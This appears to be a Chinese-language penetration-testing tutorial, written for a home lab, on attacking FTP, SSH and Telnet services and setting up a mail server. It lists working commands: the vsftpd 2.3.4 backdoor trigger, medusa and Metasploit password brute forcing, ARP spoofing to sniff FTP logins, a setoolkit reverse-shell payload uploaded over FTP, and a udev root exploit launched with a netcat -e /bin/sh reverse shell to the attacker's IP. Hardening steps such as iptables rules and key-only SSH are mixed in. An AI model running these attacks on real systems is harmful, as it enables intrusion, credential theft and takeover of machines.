七、漏洞利用-上

FTP漏洞利用

  • FTP协议介绍

    • 文件传输协议(File Transfer Protocol),是用于在网络上进行文件传输的一套标准协议,使用客户/服务器模式。属于应用层的协议,端口21

    • 用户分类

      1. Real用户
      2. Administrator
      3. 匿名用户(anonymous)
    • FTP文件传输格式

      1. ASCII
      2. 二进制格式
  • 利用FTP匿名登录漏洞

    • 由于FTP没有禁止匿名用户,所以可以直接使用Anonymous用户直接登录FTP服务器。使用nc连接FTP
      • 查看目标21端口是否开启
        • nmap -p 21 IP地址
      • 扫描漏洞
        • nmap –script vuln -p 21IP地址
      • nc IP地址 21
        • 自己手工写入用户名和密码
          • USER anonymous
          • PASS 123
          • quit –退出连接
  • 利用FTP后门漏洞

    • vsftpd(2.3.4)手工触发漏洞:当进行FTP认证时,如果用户名USER中包含:),那么直接就触发监听6200端口的连接的shell
      • nc IP地址 21
        • USER user:)
        • PASS pass
      • 查看6200端口是否触发
        • nmap -p 6200 IP地址
      • 验证
        • nc IP地址 6200
  • FTP安全配置

    1. 修改配置文件,禁止匿名用户登录(linux中的配置文件是vsftpd.conf)
    2. 对特定漏洞进行打补丁,或者设置防火墙禁止连接后门端口
      • iptables -A INPUT -p tcp -dport 6200 -j DROP
      • iptables -A OUTPUT -p tcp -sport 6200 -j DROP

FTP漏洞利用-ftp不可避免的问题

  • FTP用户名密码暴力破解

    • Windows下CMD命令行添加用户,以及提升Administrator管理员权限
      • net user 用户名 密码 /add
      • net localgroup administrators 用户名 /add
    • Windows下FTP服务器添加用户操作(这里假设添加的是admin/admin)
      • win2003 –IIS–FTP站点–右键属性–安全账户–添加账户
    • 使用medusa暴力破解FTP登录(kai)
      • 首先使用nc测试一下FTP连接
        • nc IP地址 21
        • USER admin
        • PASS admin
        • quit
      • 假设不知道密码,medusa暴力破解
        • 新建一个字典(测试使用,要真实可去寻找一些比较实用的字典)
          • pass.txt (在其中加入密码admin和其他一些随意的密码)
          • medusa -h IP地址 -u admin -P /root/Desktop/pass.txt -M ftp(-p表示单个密码,-P表示密码字典文件)
            在这里插入图片描述
  • FTP用户名明文密码验证

    • FTP协议中用于用户认证的过程中,客户端与服务器端是通过明文进行交互信息的。验证FTP登录过程中明文传输用户名和密码
      • nc连接FTP
      • Wireshark抓包
  • FTP用户名明文密码嗅探

    • 利用arpspoof进行ARP嗅探
      • 如果没有arpspoof,进行安装
        • apt install dsniff ssldump
      • arpspoof -i eth0 192.168.1.1 -t 192.168.1.103(冒充网关进行ARP欺骗)
      • 利用wireshar进行抓包(抓取数据)
      • [外链图片转存中…(img-Kd3A5FfO-1654369598659)]实体机FTP连接192.168.1.103,输入用户名和密码连接
      • 抓包内容 在这里插入图片描述
  • FTP登录之后做的事情

    • 利用metasploit创建反弹shell上传到FTP服务器。可以利用setoolkit快速生成反弹shell
      • kali输入命令进入
      • setoolkit(8.0.3)
      • 1 –(选择第一个)
      • 4 –(选择第四个)
      • 2 –(选择第二个)
      • 192.168.1.102 –(kali的IP地址)
      • 4445 –(选择端口,任意,不冲突就行)
      • 回车,等待生成payload
      • 输入yes
      • 打开另外一个终端
        • cd /root/.set/
        • ls
        • mv payload.exe /home/kali/Desktop –(移动到桌面)
        • 复制到实体机
      • 实体机FTP远程连接win2003,上传payload文件
        • ftp 192.168.1.103
        • 输入用户名和密码
        • put 文件路径
        • 上传成功后,会存在服务器的ftproot目录下
        • 当服务器双击打开
        • kali 会反弹一个shell
        • sessions -i 进程号
        • 调出shell

漏洞利用-SSH环境搭建

  • ubuntu搭建ssh服务端
    • ubuntu下安装服务端
      • sudo apt-get install openssh-server
  • SSH服务端服务启动与关闭
    • 启动
      • service ssh start
    • 状态获取
      • service ssh status
    • 关闭
      • service ssh stop
  • ubuntu搭建ssh客户端
    • ubuntu下安装putty工具
      • sudo apt-get install putty
    • ubuntu下安装putty
      • 在软件中心搜索putty进行安装
        • 选择putty ssh client 安装
  • 客户端连接服务端
    • 打开putty输入服务端信息,连接
      • 输入IP地址(这里是连接本地的SSH)
      • 其他默认
      • open

漏洞利用-SSH Banner信息获取

  • nmap获取SSH Banner信息
    • nmap -sV -p 22 IP地址
  • Metasploit获取SSH Banner信息
    • msfconsole
      • use auxiliary/scanner/ssh/ssh_version
      • 查看需要设置的参数
        • show options
        • 设置远程主机
          • set rhosts 192.168.1.105
        • 设置端口
          • set rport 22
        • 设置线程(可选)
          • set threads 20
      • 实施攻击
        • exploit/run
  • nc获取SSH Banner信息
    • nc IP地址 22
  • 配置SSH规避Banner信息
    • 在ssh配置文件/etc/ssh/sshd_config中新增一行
      • Ctrl+F输入banner寻找
      • 新增:DebianBanner no
      • 重启服务
        • service ssh restart
      • 然后再次扫描发现没有操作系统信息

漏洞利用-SSH弱口令破解利用

  • Medusa SSH弱口令破解
    • medusa -h IP地址 -U 用户名字典文件 -P 密码字典文件 -M 指定服务
      • medusa -h 192.168.1.105 -U /home/kali/Desktop/username.txt -P /home/kali/Desktop/password.txt -M ssh
      • 字典文件可自己编写,也可去网上搜索
  • SSH命令行工具登录
    • 一般情况Linux都具有ssh客户端,用来登录ssh服务端
    • 可以使用ssh 用户名@IP地址,然后根据提示输入密码
  • Metasploit利用SSH登录反弹shell
    • 使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接
    • msfconsole
    • search ssh_login
    • use auxiliary/scanner/ssh/ssh_login
    • set rhosts 192.168.1.105
    • 这里不再进行破解(这里的用户名和密码是我已经知道的)
      • set username user
      • set password 123456
    • exploit/run
    • 成功后调用会话 sessions -i 会话号
    • bash 进入用户视图
  • Metasploit获取Meterpreter Shell
    • 利用获得的Bash shell,注入Metasploit中Meterpreter payload从而获取更强大功能的shell
      • sessions -u 会话号
    • 注入成功后,sessions -l查看会话(这里假设注入后建立的会话号是3)
      • sessions -i 3 –(调用)

漏洞利用-SSH安全防御

  • SSH修改默认端口
    • gedit /etc/ssh/sshd_config
    • Crtl+F搜索port
    • 将port 22 更改为port 其他端口号
    • 修改之后必须重新启动服务
  • SSH设置PGP登录
    • 默认情况下,SSH使用用户名和密码进行远程登录,但也可以使用密钥进行身份验证登录(公钥与私钥)
    • 生成SSH密钥对,使用puttygen
    • 使用ssh-keygen命令在Linux生成.ssh目录
      在这里插入图片描述
    • 在.ssh下新建密钥存储文件authorized_keys,并复制私钥文件到.ssh目录下。使用命令puttygen -L “拷贝私钥文件”,将内容拷贝到authorized_keys文件中 在这里插入图片描述
    • 使用putty客户端加载私钥文件进行连接
      • putty ssh client
      • SSH–>Auth–>Private key file for authentication加载私钥文件
        在这里插入图片描述
      • Connection–>data–>输入对应的用户名
      • 此时Sessons连接将不需要密码
  • SSH防御暴力破解用户账号
    • 在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解
    • 修改/etc/ssh/sshd_config
      • 将 “#PasswordAuthentication yes”改为 “PasswordAuthentication no”
      • 重新启动服务
  • Iptables设置阈值防止暴力破解
    • 利用iptables对多次连接验证错误,进行账户锁定120秒
      • iptables -I INPUT -p tcp –dport 22 -i eth0 -m state –state NEW -m recent –set
      • iptables -I INPUT -p tcp –dport 22 -i eth0 -m state –state NEW -m recent –update –seconds 120 –hitcount 3 -j DROP
      • 设置完成,重启ssh服务

漏洞利用-telnet暴力破解

  • telnet介绍
    • TCP/IP协议簇中的一员,是Internet远程登录服务的标准协议和主要方式
    • 虽然telnet较为简单,使用也很方便,但在现代网络技术中,telnet并不被重用。原因是telnet是一个明文传输的协议,因此很多服务器都会选择禁用telnet服务
    • 默认使用23端口
  • telnet版本获取
    • 使用nmap获取telnet版本信息
      • nmap -p 23 -sV 192.168.1.105
    • 使用Metasploit获取telnet版本信息
      • msfconsole
      • search telnet
      • use auxiliary/scanner/telnet/telnet_version
        • set rhosts 192.168.1.105
        • set threads 30
        • set rport 23
      • exploit/run
  • telnet密码破解
    • 使用Metasploit下针对telnet破解的模块进行用户名和密码的破解
    • 在msfconsole使用search telnet进行查询telnet可以利用的模块
      • use auxiliary/scanner/telnet/telnet_login
        • set rhost 192.168.1.105
        • set username 用户名(这是已知情况,未知情况设置字典进行破解set user_file 字典路径)
        • set password 密码 (未知设置字典 set pass_file 字典路径)
  • telnet登录测试
    • 使用破解好的会话连接telnet,并执行对应命令
    • 使用sessions -l 列举建立的会话
    • 使用sessions -i id 使用对应的会话
    • bash ——进入用户视图

漏洞利用-Telnet登录提权(metasploit2靶机)

  • msf登录telnet

    • 在metasploit中使用 telnet_login进行登录,并使用sessions -i id 连接shell
      • use auxiliary/scanner/telnet/telnet_login
      • set rhosts IP地址
      • 该模块的用户名和密码只能通过指定文件进行设置
      • set user_file /home/kali/Desktop/user.txt
      • set pass_file /home/kali/Desktop/pass.txt
      • run/exploit
      • sessions -l –查看连接的会话
      • sessions -i id –调用会话
    • 如果出现连接已经建立却无法执行命令
      在这里插入图片描述
      • 此时,可以通过命令尝试拿到meterpreter shell
        • sessions -u 对应会话ID
  • msf连接shell下载exp(连接上shell进行操作)

    • 使用wget进行下载
      • wget http://www.exploit-db.com/download/8572
      • 如果无法下载,本地另开一个终端,搭建服务
        • cd /var/www/html
        • wget http://www.exploit-db.com/download/8572
        • 重命名
          • mv 8527 test.c
        • 启动apache服务
          • service apache2 start
        • 执行下载
          • wget “http://192.168.1.105/test.c
  • 设置kali nc监听

    • 使用netcat 进行监听,后期返回的shell
      • nc -lvp 4444
  • 编译执行exp,获取root

    • gcc 源文件 -o exploit –(这里的源文件是test.c)

    • echo ‘#!/bin/sh’>/tmp/run

    • echo ‘/bin/netcat -e /bin/sh IP地址 4444’>>/tmp/run –(这里的IP地址是kali的IP地址(192.168.1.105))

    • ps -edf | grep udev

    • 执行exploit 具有root权限的pid-1

      • ./exploit 数字pid-1

漏洞利用-Smtp实验环境搭建

  • 邮件发送与接受模型

    • 邮件发送使用smtp协议,占用25端口。而邮件接收使用pop3或imap协议,分别占用110和143端口
  • 添加主机名和域名

    • 为了在本地搭建好邮件服务器,所以需要修改对应内容。使得可以在本地进行域名解析
      • sudo gedit /etc/hosts
        • 127.0.0.1 mail.test.lab test
      • sudo gedit /etc/hostname
        • test
    • 修改完成重启reboot
    • 使用hostname 或 hostname -f 查看修改是否成功
  • ubuntu安装postfix

    • postfix是非常流行的smtp软件,所以ubuntu的主要库中集成了postfix,可以直接使用以下命令安装
      • sudo apt-get install postfix(卸载命令apt-get –purge remove postfix)
    • 修改配置文件
      • sudo gedit /etc/postfix/main.cf
      • 追加子网信息
        • inet_protocols = ipv4
        • home_mailbox = Maildir/ 在这里插入图片描述
      • 修改完成重新启动服务
        • sudo service postfix restart
        • 使用netstat -nlv 查看25端口是否开启
  • ubuntu安装dovecot

    • sudo apt-get install dovecot-imapd dovecot-pop3d

    • 修改配置文件

      • sudo gedit /etc/dovecot/conf.d/10-auth.conf

        • disable_plaintest_auth = yes
        • auth_mechanisms = plain login
      • sudo gedit /etc/dovecot/conf.d/10-mail.conf

        • mail_location = maildir:/home/%u/Maildir
      • sudo gedit /etc/dovecot/conf.d/10-master.conf

        • 设置port = 143 port 110
          在这里插入图片描述

        • 修改权限

          • unix_listerner auth-usrdb{

            ​ mode = 0600

            ​ user = postfix

            ​ group = postfix

            }

    • 重新启动dovecot服务

      • sudo service dovecot restart
      • 使用netstat -nlv 查看143和110端口是否开启

版权声明:本文为weixin_50666634原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。